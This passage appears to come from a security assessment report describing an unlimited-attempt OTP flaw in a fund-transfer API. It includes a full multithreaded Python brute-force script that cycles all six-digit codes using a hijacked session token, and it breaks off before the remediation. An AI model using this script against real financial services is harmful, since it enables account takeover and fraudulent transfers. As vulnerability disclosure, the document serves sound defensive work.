An additional critical issue affecting the funds transfer functionality is the ability to bruteforce the OTP without any restriction on the number of attempts. This flaw enables an attacker—after hijacking a valid user session—to systematically try all possible 6-digit OTPs until the correct one is found.
Normally, OTP verification systems enforce strict attempt limits (e.g., 3–5 tries) and expiry times to mitigate such attacks. However, in this application, the OTP mechanism lacks proper enforcement of retry limits for otp_type = 3 (fund transfer). Combined with the absence of rate limiting or IP blacklisting, this exposes the endpoint to brute-force attacks.
The following multithreaded Python script demonstrates how an attacker could exploit this flaw to discover a valid OTP in real time:
import requests
import json
import time
import threading
# === Configuration ===
url = "http://localhost/api/otp/verify"
token = "[JWT TOKEN HERE]" # Replace with the actual JWT or session token
headers = {
"Content-Type": "application/json"
}
# === Request Builder ===
def build_request(otp):
return {
"requestBody": {
"token": token,
"timestamp": int(time.time()),
"device": {
"deviceid": "UHDGGF735SVHFVSX",
"os": "ios",
"host": "lucideustech.com"
},
"data": {
"otp": otp
}
}
}
# === Brute-force Logic ===
found_flag = threading.Event() # Shared flag to stop all threads once OTP is found
def brute_force_range(start, end):
for otp_int in range(start, end + 1):
if found_flag.is_set():
break # Stop if another thread succeeded
otp_str = f"{otp_int:06d}" # Format as 6-digit string
req = build_request(otp_str)
try:
response = requests.post(url, headers=headers, json=req)
except requests.RequestException as e:
print(f"[{otp_str}] Request error: {e}")
continue
if response.status_code != 200:
print(f"[{otp_str}] HTTP error: {response.status_code}")
continue
try:
resp_json = response.json()
except ValueError:
print(f"[{otp_str}] Invalid JSON response")
continue
status = resp_json.get("status", "")
status_code = resp_json.get("status_code", "")
message = resp_json.get("message", "")
if status == "Success":
print(f"\n[+] OTP FOUND: {otp_str}")
print(json.dumps(resp_json, indent=2))
found_flag.set()
break
else:
print(f"Trying OTP {otp_str}: {message} ({status_code})")
# === Launch Brute-force with 4 Threads ===
if __name__ == "__main__":
total = 999999
step = (total + 1) // 4 # Divide 6-digit space across 4 threads
threads = []
for i in range(4):
start = i * step
end = (i + 1) * step - 1 if i < 3 else total
t = threading.Thread(target=brute_force_range, args=(start, end))
threads.append(t)
t.start()
for t in threads:
t.join()
This is a Critical issue (CVSS ~9.0) because unrestricted OTP attempts enable attackers with a valid session to brute-force sensitive actions like fund transfers.
As a remedy, we should: